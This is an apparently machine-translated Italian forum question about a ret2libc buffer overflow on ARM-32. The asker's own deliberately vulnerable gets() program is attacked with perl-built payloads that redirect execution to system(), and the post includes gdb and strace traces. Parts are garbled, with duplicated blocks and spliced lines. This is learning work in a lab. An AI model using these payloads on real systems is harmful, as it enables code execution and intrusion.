Nello spirito di acquisire una profonda comprensione, ho letto e lavorato su alcuni piccoli hack che coinvolgono gli attacchi Buffer OverFlow (BOF), in particolare, su un sistema ARM-32, tramite l'attacco in stile Ret2Libc.
Funziona tutto molto bene fino a un certo punto. La tecnica di base (gli esperti possono saltare tutto questo ovviamente): -utilizzare deliberatamente un "cattivo" api-gets () nella funzione fo foo () sotto - in modo che si possa facilmente traboccare il suo buffer; passiamo con attenzione un buffer creato al programma:
perl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
dove 0x76e9ffac è l'indirizzo della funzione glibc 'system ()'. (sì ho anche provato questo con ASLR disabilitato).
Env: a) Un ARM926EJ-S rev 5 (v5l) (ARM-32) emulato da Qemu che esegue il 4.8.12-yocto-standard kernel Linux costruito con Yocto Poky!
b) un modello B di Raspberry Pi 3 su cui è in esecuzione Raspbian 8.
IL PROBLEMA: l'esecuzione procede come previsto, effettivamente inserisce il codice del sistema (3); Ho verificato ciò anche tramite il single-stepping del codice (su Yocto build con debug abilitato).
Il problema: il parametro passato a do_system () si sta azzerando [??]. Ho inoltre verificato che questo è davvero il caso (con stepping singolo e strace -ing).
Si veda un esempio di esecuzione di seguito su R Pi e un sistema basato su Yocto:
-i uso un file (rpi_input3.bin) per alimentare l'input, che in pratica è: "ls -l". "\ x00" x11. "\ Xac \ xff \ xe9 \ x76"
Il codice "C" arm_buf_vuln.c:
static void foo(void)
{
char local[12];
gets(local);
}
int main (int argc, char **argv)
{
foo();
exit (EXIT_SUCCESS);
}
Sessione di esempio su R Pi:
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x00010494 <+0>: push {r11, lr}
0x00010498 <+4>: add r11, sp, #4
0x0001049c <+8>: sub sp, sp, #16
0x000104a0 <+12>: sub r3, r11, #16
0x000104a4 <+16>: mov r0, r3
0x000104a8 <+20>: bl 0x1030c
0x000104ac <+24>: sub sp, r11, #4
0x000104b0 <+28>: pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin
Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000 0x76e9ffac 0x7efff600 0x00000001
0x7efff538: 0x00000000 0x76e7e294 0x76fa3000 0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c 0x0000006c 0x00000000 0x00000000
0x7efff52c: 0x76e9ffac 0x7efff600 0x00000001 0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
< < NOTA- a questo punto, il parametro su system () è corretto! Ma, in realtà, viene annullato in seguito > >
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0 0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1 0x000104b4 in foo ()
(gdb)
Su un sistema Yocto, lo snippet di output strace:
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf << -v: verbose
-f: follow any children >>
./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL) = 0x21000
[...]
brk(NULL) = 0x21000
brk(0x43000) = 0x43000
read(0, "shperl -e 'print "ls -l" . "\x00"x11 . "\xac\xff\xe9\x76"' | ./arm_bof_vuln
static void foo(void)
{
char local[12];
gets(local);
}
int main (int argc, char **argv)
{
foo();
exit (EXIT_SUCCESS);
}
RPi # gdb -q ./arm_bof_vuln
Reading symbols from ./arm_bof_vuln...(no debugging symbols found)...done.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x00010494 <+0>: push {r11, lr}
0x00010498 <+4>: add r11, sp, #4
0x0001049c <+8>: sub sp, sp, #16
0x000104a0 <+12>: sub r3, r11, #16
0x000104a4 <+16>: mov r0, r3
0x000104a8 <+20>: bl 0x1030c
0x000104ac <+24>: sub sp, r11, #4
0x000104b0 <+28>: pop {r11, pc}
End of assembler dump.
(gdb) b *0x104b0
Breakpoint 1 at 0x104b0
(gdb) r < rpi_input3.bin
Starting program: /home/pi/myprj/arm_bof/arm_bof_vuln < rpi_input3.bin
Breakpoint 1, 0x000104b0 in foo ()
(gdb) xs
x/8x $sp
0x7efff528: 0x00000000 0x76e9ffac 0x7efff600 0x00000001
0x7efff538: 0x00000000 0x76e7e294 0x76fa3000 0x7efff694
x/8x $sp-12
0x7efff51c: 0x2d20736c 0x0000006c 0x00000000 0x00000000
0x7efff52c: 0x76e9ffac 0x7efff600 0x00000001 0x00000000
(gdb) p/x $r0
$1 = 0x7efff51c
(gdb) si
__libc_system (line=0x7efff51c "ls -l") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
612 fileops.c: No such file or directory.
(gdb) bt
#0 0x76ed221c in _IO_new_file_underflow (fp=0x10354 <_start>) at fileops.c:612
#1 0x000104b4 in foo ()
(gdb)
# perl -e 'print "sh" . "\x00"x14 . "\x78\x90\x8f\x49"' | strace -vf << -v: verbose
-f: follow any children >>
./arm_bof_vuln
execve("./arm_bof_vuln", ["./arm_bof_vuln"], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
brk(NULL) = 0x21000
[...]
brk(NULL) = 0x21000
brk(0x43000) = 0x43000
read(0, "sh%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20 << this is the gets() !
reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797
<< the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
<unfinished ...> << strace -f takes effect – the child is being followed below >>
[pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
<< here: the parameter to execve() is null ! Hence, it fails >>
[pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%%pre%x07I", 4096) = 20 << this is the gets() !
reading in 20 bytes, passed via the pipe from perl... >>
read(0, "", 4096) = 0
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x498ee1e0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbefffa48) = 797
<< the code of the lib function system(3) calls fork(2) which becomes clone(2) >>
wait4(797, strace: Process 797 attached
<unfinished ...> << strace -f takes effect – the child is being followed below >>
[pid 797] rt_sigaction(SIGINT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigaction(SIGQUIT, {SIG_DFL, [], SA_RESTORER, 0x498ee1e0}, NULL, 8) = 0
[pid 797] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
<< here: the parameter to execve() is null ! Hence, it fails >>
[pid 797] execve("/bin/sh", ["sh", "-c", ""], ["HZ=100", "SHELL=/bin/sh", "TERM=linux", "HUSHLOGIN=FALSE", "OLDPWD=/home/root", "USER=root", "PATH=/usr/local/bin:/usr/bin:/bi"..., "PWD=/home/root/arm_bof_vuln", "EDITOR=vi", "PS1=Yocto # ", "SHLVL=1", "HOME=/home/root", "BASH_ENV=/home/root/.bashrc", "LOGNAME=root", "_=/usr/bin/strace"]) = 0
...
Perché il parametro viene annullato? TIA!